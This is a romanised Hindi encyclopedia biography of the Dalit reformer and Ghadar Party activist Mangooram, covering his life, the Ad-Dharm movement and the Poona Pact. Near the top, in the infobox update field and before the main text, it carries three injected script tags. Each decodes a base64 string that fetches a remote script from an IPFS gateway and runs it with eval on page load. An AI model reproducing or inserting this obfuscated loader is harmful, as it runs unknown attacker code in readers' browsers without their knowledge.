मंगूराम

mangooram
mangooram|200px|center
poora nam	mangooram
janm	14 janavari, 1886
janm bhoomi	hoshiyapur zila, panjab
mrityu	22 aprail, 1980
abhibhavak	mata- atri pita- haraman sianh
karm bhoomi	bharat
prasiddhi	kraantikari, shikshak, samaj sudharak
nagarikata	bharatiy
any janakari	ad-dharm ki sthapana 11-12 joon san 1926 ko usi skool mean huee, jahaan mangooram shikshak the. mangooram ko ad-dharm mandal ka adhyaksh chuna gaya. unake ane ke bad ad-dharm aandolan ko bal mila aur is aandolan ki charcha poore panjab soobe mean hone lagi.
adyatan‎	13:32, 14 march 2024 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>mangooram (aangrezi: Manguram, janm- 14 janavari, 1886, hoshiyapur zila, panjab; mrityu- 22 aprail, 1980) samaj sudharak ke roop mean kary karate the. inake sanbandh kuchh samay tak gadar parti se bhi rahe. mangooram ne achhootoan mean shiksha prachar ke lie sabase pahale apane gaanv mean skool khola- nam rakha 'ad dharm skool'. baboo mangooram ne 'laiand elieneshan ekt' ke virodh mean avaj uthaee aur adalat ne anusoochit jati ke logoan ko kheti ki jamin kharidane ki manyata di. mangooram ko apane skooli jivan mean vah sab jhelana p da tha, jo us vaqt asprishy mane jane vali jatiyoan ke bachchoan ko jhelana p data tha.

janm

baboo mangooram ka janm 14 janavari, 1886 ee. ko hoshiyapur zile ke mugoval gaanv mean ek garib dalit parivar mean hua tha. unake pita ka nam haraman sianh tatha mata ka nam atri tha, jinaka dehaant mangooram jab matr tin varsh ke the tab ho gaya tha.

shiksha

jab mangooram ka janm hua, us samay tak unake pita jati nirdharit cham de ka kam chho dakar cham de ke vyapar mean hath azama rahe the. chooanki vyapar mean aangrezi bhasha ka dabadaba tha, haraman sianh ko apane ilake ke aangrezi janane vale logoan ki madad leni padhati thi, jisake evaj mean unako paise dene p date the. haraman sianh ne is vajah se mangooram ko chhah sal ki umr mean skool mean bharti kara diya, taki aangrezi ka jnan ho jaye aur vyapar mean madad mil sake.

mangooram ko apane skooli jivan mean vah sab jhelana p da jo us vaqt ‘asprishy’ mane jane vali jatiyoan ke bachchoan ko jhelana p data tha. prathamik skool mean padhane ke lie mangooram par kee shartean dali geean, jaise ki vo kaksha ke bhitar pravesh nahian kar sakate, baithane ke lie khud ki tat lani hogi ityadi. in visham paristhitiyoan ke bavajood mangooram ek achchhe chhatr sabit hue aur prathamik skool ki pariksha mean tisare nanbar par aye. san 1905 mean mangooram ne skool chho d diya aur apane pita ke sath vyavasay mean ju d ge aur tin sal tak unaki madad ki. isi dauran unaki shadi bhi ho gayi.

gadar parti se sanbandh

mangooram ke jivan mean nirnayak gh di tab aee, jab san 1909 mean unhoanne sanyukt rashtr amerika jane ka faisala kiya. pita ki ajna pakar aur kuchh sthaniy jamiandaroan se karj le kar mangooram nee duniya ke lie nikal p de. amarika mean mangooram kariban char sal tak rahe. alag-alag jagahoan par kam kiya. panjab se hi kuchh pravasiyoan ne san 1913 mean amerika mean gadar parti ki sthapana ki, jisaka uddeshy bharat ko aangrezoan ki gulami se mukt karana tha. amerika mean rahate hue mangooram ne gadar parti ki sadasyata li aur usake ek pramukh karyakarta aur neta ban ge.

giraftari

san 1915 mean, pahale vishv yuddh ke dauran gadar parti ne jarmani ki madad se british bharatiy sena mean bagavat kh di kar desh ko azad karane ki ek vyapak yojana taiyar ki. is yojana ke tahat gadar parti hathiyaroan ka ek b da jakhira samudri jahaj ke madhyam se hiandustan bhejane vali thi, isake lie paanch logoan ka chayan kiya gaya, jisamean mangooram bhi the. amerika se paanch gadari neta ek jahaj mean hathiyaroan ka jakhira lekar hiandustan ke lie nikal p de. raste mean unako kee samasyaoan ka samana karana p da. jab yah jahaj japan ke tat par pahuancha to japaniyoan ne unako giraphtar kar aangrezoan ke havale kar diya. aangrezoan ko us vaqt tak gadar shadyantr ka pata chal chuka tha. unhoanne paanchoan ko phaansi dene ka nirnay liya, lekin isase pahale ki aangrez unako phaansi de pate, kuchh jarman jasoosoan ne paanchoan gadari netaoan ko kaid se farar kara diya.

jel se farar

farar hokar mangooram manila ke lie nikale, lekin samudri toophan ki vajah se unaka jahaz siangapoor pahuanch gaya, jahaan unako phir se aangrezoan ne giraphtar kar liya aur top se u dane ka nishchay kiya. ek bar phir kismat ne mangooram ka sath diya aur jarman jasoos unako phir se aangrezoan ki girapht se bachakar le ge aur unako manila jane vale jahaz par baitha diya. manila pahuanch kar mangooram ne akhabar mean padha ki unako aangrezoan ne top se u da diya hai. yah padhakar mangooram ne anuman lagaya ki unake sathi ne unako bachane ke lie khud ko mangooram bata diya. mangooram manila mean agale chhah varshoan tak rahe. akhirakar 1925 mean unhoanne bharat lautane ka nirnay kiya. ve shrilanka hote hue chennee pahuanche jahaan unako maduree mandir ke bahar achhootoan par ho rahe atyachar aur bhed-bhav dekh kar kaphi du:kh pahuancha. vah pune, muanbee, satara, nagapur aur dilli hote hue akhirakar panjab pahuanche. is yatra ke dauran mangooram ko poori tarah vishvas ho gaya ki unako achhootoan ke lie l dana hai. isake lie unhoanne amerika mean gadar parti ke mukhiya ko patr likh unase achhootoan ke bich kam karane ki bat ki, jisako gadar parti ne man liya. is dauran mangooram apane gaanv ke skool mean padhane lage.

ad dharm aandolan

mangooram ke ane se pahale panjab mean achhootoan ko hindoo dharm se alag sangathit karane ke kee prayas hue the. thakur chaand, svami shoodranand aur vasant ray adi san 1922 se hi panjab mean achhootoan ko ad dharm se jo dane ki koshish karane lage the lekin koee khas saphalata unake hath nahian lag rahi thi. mangooram ka gadar parti se ju dav aur unake sath hue ghatanakram ki vajah se sthaniy logoan ke bich unaki chhavi lokanayak ki ban gayi thi. uparyukt netaoan ne mangooram ki lokapriyata ko dhyan mean rakhate hue unase sanpark sadha aur 'ad dharm aandolan' se ju dane ka prastav rakha, jisako mangooram ne svikar kar liya.

sthapana

ad-dharm ki sthapana 11-12 joon san 1926 ko usi skool mean huee, jahaan mangooram shikshak the. mangooram ko ad-dharm mandal ka adhyaksh chuna gaya. unake ane ke bad ad-dharm aandolan ko bal mila aur is aandolan ki charcha poore panjab soobe mean hone lagi. apane prachar-prasar ke dauran ad-dharmiyoan ko kee bar hindoo-muslim-sikkh sangathanoan ka virodh jhelana p da lekin mangooram ke karishmaee netritv mean ad-dharm aandolan achhoot mane jane vali jatiyoan mean ag ki tarah phailane laga, jisaka parinam yah hua ki 1931 ki janaganana mean kariban 5 lakh logoan ne khud ko ad-dharmi bataya.

amaran anashan

panjab vishvavidyalay ke prophesar r aaunki ram ke anusar, mangooram aur ad dharm aandolan ka panjab dalit chetana ke vikas mean ek mahatvapoorn yogadan raha hai. san 1931 ke doosare golamej sammelan mean jab mahatma gaandhi ne aanbedakar ko dalit aur pichh di jatiyoan ka pratinidhi manane par etaraj jataya, tab panjab mean mangooram aur sanyukt prant (vartaman mean uttar pradesh) mean svami achhootanand ne achhootoan ko golaband kar golamej sammelan mean aanbedakar ko achhootoan ka pratinidhi ghoshit karate hue hazaroan hazar tar landan bheje. is sammelan mean aanbedakar ne achhootoan ke lie prithak nirvachan mandal ki maang ki thi, jisaka mahatma gaandhi ne joradar virodh kiya tha.

jab briten ke pradhanamantri ne aanbedakar ki dalil ko manate hue achhootoan ke lie prithak nirvachan mandal ki ghoshana kar di, tab mahatma gaandhi ne isaka virodh karate hue yeravada jel se hi anashan praranbh kar diya. jab mangooram ko isaka pata chala to unhoanne gaandhiji ke anashan ke khilaph amaran anashan yah kahate hue arambh kar diya ki "agar gaandhi hinduoan ke lie marane ko taiyar haian to maian bhi apane kaum ke lie marane ko taiyar hooan." mahatma gaandhi ke amaran anashan ke dabav mean baba saheb aanbedakar ko jhukana p da, jisake parinamasvaroop poona samajhauta hua. usake anusar achhootoan ko hiandoo nirvachan vyavastha ke aantargat hi rajanitik pratinidhitv surakshit karane ki bat thi. mangooram ne poona samajhaute ka virodh bhi kiya, lekin aantatogatva usako man liya. poona samajhaute ke uparaant hi ad dharm aandolan ka patan shuroo ho gaya, kyoanki agar achhoot mane jane vale log apane ko alag dharm batate to unaka pratinidhitv khatare mean padh jata.

poona samajhaute ke bad adi dharm aandolan kamajor to hua, lekin mangooram ka hausala kam nahian hua. vah dalit-adhikaroan ke lie l date rahe aur 1946 mean panjab prant ki vidhanasabha mean chune ge. azadi ke bad vah kaangres mean shamil ho ge aur 1972 mean dubara vidhanasabha pahuanche. apane karyakal mean mangooram dalitoan ke lie naukari, shiksha aur manaviy adhikaroan ke lie l date rahe. 1970 ke shuruati dashak mean mangooram ne dubara ad dharm aandolan ko punarjivit karane ki koshish ki, jisaka parinam yah hua ki ad dharm 'ravidasi sampraday' mean vilay ho gaya.

mangooram aur bhagat sianh

bharatiy kraantikari aandolan ke adhyay mean ek bat jisaka n ke barabar jikr hua hai, vah hai bhagatasianh ke madhyam se mangooram ka un par prabhav. bhagatasianh ne san 1928 mean ek bahut hi mahatvapoorn lekh likha gaya tha, jisaka shirshak tha ‘achhoot samasya’. us lekh mean bhagatasianh ne jati pratha ki k di nianda karate hue usako poori tarah kharij kar diya tha. sath hi sath unhoanne achhoot samajhe jane vali sabhi jatiyoan ko khud se sangathit hone ki pahal ki prashansa karate hue poorn roop se samarthan kiya tha. us lekh mean bhagatasianh ne 'ad dharm mandal' ka jikr karate hue likha ki "achhoot samasya ka hal tab tak nahian ho sakata, jab tak achhoot kaumean apane apako sangathit n kar lean." vah ad dharm mandal dvara prastavit prithak nirvachan mandal ke bhi prabal samarthak the. halaanki isaka koee praman nahian hai ki bhagat sianh aur mangooram ka koee sakshatkar hua ho, lekin ye poornatah sanbhav hai unake hath ad dharm mandal dvara jari kiye ge bayan aur parche lag ge hoan, jisase vo kaphi prabhavit hue aur krantikari aandolan mean jati prashn ko majaboot tarike se rakha.

mrityu

mangooram kariban 65 varshoan tak dalit aur pichh di jatiyoan ke adhikaroan ke lie sangharsharat rahe. unake lambe sangharsh ka aant 22 aprail san 1980 ko unaki mrityu ke sath hi hua. aj mangooram ko bahut hi samiti dayare mean sirph ek dalit-neta ke taur par yad kiya jata hai.

panjab mean aangrezoan ne 1890 ee. mean 'laiand elieneshan ekt' banaya tha. isake anusar anusoochit jati ke logoan ko gair-kisan ghoshit karake unake dvara kheti ki jamin ki kharid par rok laga rakhi thi. baboo mangooram ne isake virodh mean avaj uthaee aur adalat ne anusoochit jati ke logoan ko kheti ki jamin kharidane ki manyata de di. yah bahut b di saphalata thi. mangooram ke prayatnoan se dalitoan mean shiksha ka bhi prachar hua.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

1. REDIRECTsaancha:svatantrata senani

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